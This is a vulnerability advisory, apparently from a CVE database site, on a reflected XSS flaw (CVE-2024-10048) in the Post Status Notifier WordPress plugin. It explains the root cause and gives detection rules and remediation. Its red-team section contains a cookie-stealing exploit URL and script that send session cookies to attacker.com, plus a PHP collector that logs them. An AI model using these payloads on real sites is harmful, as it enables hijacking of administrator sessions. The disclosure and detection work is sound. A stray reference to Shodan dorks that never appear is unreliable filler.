CVE-2024-10048
Executive Summary
CVE-2024-10048 is a reflected Cross-Site Scripting (XSS) vulnerability affecting the Post Status Notifier WordPress plugin (both Lite and Premium versions) up to and including version 1.11.6. The flaw resides in insufficient input sanitization and output escaping of the page parameter, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to session hijacking, credential theft, or defacement within the WordPress admin context. The EPSS score is 0.0%, indicating low active exploitation likelihood, but the lack of a patch elevates risk for unhardened sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the absence of a patch means site administrators must manually apply virtual patching or disable the plugin.
CVSS Breakdown & Threat Level
- Base Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires user interaction, but the impact is limited to low confidentiality and integrity loss. However, in a WordPress admin context, XSS can lead to privilege escalation.
Deep Dive & Mechanics
The vulnerability exists in the plugin's admin interface, where the page parameter is reflected without proper sanitization. When a user visits a crafted URL like:
/wp-admin/admin.php?page=<script>alert('XSS')</script>
The plugin echoes the page parameter directly into the HTML response without encoding, allowing script execution in the victim's browser. The attack is reflected (non-persistent), meaning the payload is not stored on the server but delivered via the URL.
Root Cause: The plugin uses $_GET['page'] without applying esc_html() or sanitize_text_field() before outputting it in the admin page title or navigation.
Vulnerable vs. Patched Code
Vulnerable Code (v1.11.6):
<?php
// In admin.php or similar
$page = $_GET['page'];
echo '<h2>' . $page . '</h2>';
?>
Patched Code (Hypothetical):
<?php
$page = sanitize_text_field($_GET['page']);
echo '<h2>' . esc_html($page) . '</h2>';
?>
The patch would use sanitize_text_field() to strip malicious input and esc_html() to encode HTML entities before output.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Post Status Notifier plugin v1.11.6 installed and activated.
- Attacker-controlled server to host payload or use a simple XSS vector.
Exploit Steps:
- Craft a malicious URL:
http://target/wp-admin/admin.php?page=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script> - Send the link to an authenticated admin user via email or social engineering.
- When the admin clicks the link, the script executes, exfiltrating their session cookie to the attacker's server.
Example Payload (Cookie Stealer):
<script>
new Image().src='http://attacker.com/steal.php?c='+document.cookie;
</script>
Steal.php (Attacker Server):
<?php
$cookie = $_GET['c'];
file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
?>
Blue Team
Detection:
- Monitor web server logs for unusual
pageparameter values containing<script>,onerror, orjavascript:. - Use WAF rules to block reflected XSS patterns in query strings.
Hunting:
- Search for
pageparameter in access logs with base64-encoded or obfuscated JavaScript. - Check for outbound connections to unknown IPs from admin browsers.
Lab Setup:
- Deploy a WordPress instance with the vulnerable plugin in a sandboxed environment.
- Use Burp Suite or OWASP ZAP to replay crafted requests and observe reflected payloads.
Indicators of Compromise (IOCs)
- URL Patterns:
admin.php?page=<script>oradmin.php?page=%3Cscript%3E - Log Entries: HTTP requests to
/wp-admin/admin.phpwithpageparameter containing HTML/JS. - Network Traffic: Outbound HTTP requests from admin IPs to unknown domains (cookie exfiltration).
- File Artifacts: Unusual entries in
wp-content/plugins/post-status-notifier/(if attacker uploads webshell via XSS).
Detection Engineering
YARA Rule
rule CVE_2024_10048_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting Post Status Notifier plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-10048"
strings:
$xss1 = /page=[^&]*<script/i
$xss2 = /page=[^&]*onerror/i
$xss3 = /page=[^&]*javascript:/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS via Post Status Notifier page Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts in WordPress admin.php page parameter
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'page='
cs-uri-query|re: '(page=[^&]*<script|page=[^&]*onerror|page=[^&]*javascript:)'
condition: selection
falsepositives:
- Legitimate use of script in page names (unlikely)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2024-10048 Reflected XSS in Post Status Notifier";
flow:to_server,established;
content:"GET"; http_method;
content:"/wp-admin/admin.php"; http_uri;
content:"page="; http_uri;
pcre:"/page=[^&]*(<script|onerror|javascript:)/Ui";
sid:1000001;
rev:1;
reference:cve,2024-10048;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Apply virtual patching via WAF (e.g., ModSecurity rule to block
pageparameter containing<script>). - Restrict admin access to trusted IPs only.
Long-term Fix:
- Monitor the plugin's repository for an update. If none, consider replacing with an alternative plugin.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Valters IT Signature:
rule Valters_IT_Signature {
meta:
author = "Valters IT"
description = "Digital signature for Valters IT reports"
condition:
true
}
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.